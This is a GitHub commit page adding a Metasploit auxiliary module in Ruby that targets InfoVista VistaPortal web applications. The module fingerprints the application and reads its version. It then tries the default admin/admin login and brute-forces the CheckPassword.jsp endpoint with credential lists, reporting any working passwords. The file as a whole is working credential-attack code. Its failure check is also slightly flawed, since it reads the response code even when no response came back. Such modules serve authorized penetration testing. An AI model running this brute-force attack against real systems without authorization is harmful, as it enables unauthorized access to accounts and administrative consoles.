Skip to content

Commit c243ed1

Browse files
author
jvazquez-r7
committed
Land rapid7#1962, @juushya infovista brute force module
2 parents 0cf2751 + ba59434 commit c243ed1

File tree

1 file changed

+136
-0
lines changed

1 file changed

+136
-0
lines changed
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'rex/proto/http'
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::AuthBrute
16+
include Msf::Auxiliary::Scanner
17+
18+
#
19+
# CONSTANTS
20+
# Used to check if remote app is InfoVista
21+
#
22+
23+
INFOVISTA_FINGERPRINT = 'InfoVista® VistaPortal®'
24+
25+
def initialize(info={})
26+
super(update_info(info,
27+
'Name' => 'InfoVista VistaPortal Application Brute Force Login Utility',
28+
'Description' => %{
29+
This module attempts to scan for InfoVista VistaPortal Web Application, finds its version
30+
and performs login brute force to identify valid credentials.
31+
},
32+
'Author' =>
33+
[
34+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
35+
],
36+
'License' => MSF_LICENSE
37+
))
38+
39+
register_options(
40+
[
41+
Opt::RPORT(443),
42+
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
43+
OptString.new('TARGETURI', [true, "URI for Web login. Default: /VPortal/mgtconsole/CheckPassword.jsp", "/VPortal/mgtconsole/CheckPassword.jsp"])
44+
], self.class)
45+
end
46+
47+
def run_host(ip)
48+
unless is_app_infovista?
49+
print_error("#{rhost}:#{rport} -> Application does not appear to be InfoVista VistaPortal. Module will not continue.")
50+
return
51+
end
52+
53+
status = try_default_credential
54+
return if status == :abort
55+
56+
print_status("#{rhost}:#{rport} -> Brute-forcing...")
57+
each_user_pass do |user, pass|
58+
do_login(user, pass)
59+
end
60+
end
61+
62+
#
63+
# What's the point of running this module if the app actually isn't InfoVista?
64+
#
65+
def is_app_infovista?
66+
67+
res = send_request_cgi(
68+
{
69+
'uri' => '/VPortal/',
70+
'method' => 'GET'
71+
})
72+
73+
if (res and res.code == 200 and res.body.include?(INFOVISTA_FINGERPRINT))
74+
version_key = /PORTAL_VERSION = (.+)./
75+
version = res.body.scan(version_key).flatten[0].gsub('"','')
76+
print_good("#{rhost}:#{rport} -> Application version is #{version}")
77+
return true
78+
else
79+
return false
80+
end
81+
end
82+
83+
#
84+
# Test and see if the default credential works
85+
#
86+
def try_default_credential
87+
user = 'admin'
88+
pass = 'admin'
89+
do_login(user, pass)
90+
end
91+
92+
#
93+
# Brute-force the login page
94+
#
95+
def do_login(user, pass)
96+
vprint_status("#{rhost}:#{rport} -> Trying username:#{user.inspect} with password:#{pass.inspect}")
97+
begin
98+
res = send_request_cgi(
99+
{
100+
'uri' => '/VPortal/mgtconsole/CheckPassword.jsp',
101+
'method' => 'POST',
102+
'vars_post' =>
103+
{
104+
'Login' => user,
105+
'password' => pass
106+
}
107+
})
108+
109+
get_response = "<script type=\"text/javascript\">\r\nlocation.href = 'AdminFrame.jsp';\r\n</script>\r\n"
110+
111+
if (not res or res.code != 200 and res.body != "#{get_response}")
112+
vprint_error("#{rhost}:#{rport} -> FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
113+
return :skip_pass
114+
else
115+
print_good("#{rhost}:#{rport} -> SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
116+
117+
report_hash = {
118+
:host => rhost,
119+
:port => rport,
120+
:sname => 'InfoVista VistaPortal',
121+
:user => user,
122+
:pass => pass,
123+
:active => true,
124+
:type => 'password'}
125+
126+
report_auth_info(report_hash)
127+
return :next_user
128+
end
129+
130+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
131+
print_error("#{rhost}:#{rport} -> HTTP Connection Failed, Aborting")
132+
return :abort
133+
end
134+
end
135+
136+
end

0 commit comments

Comments
 (0)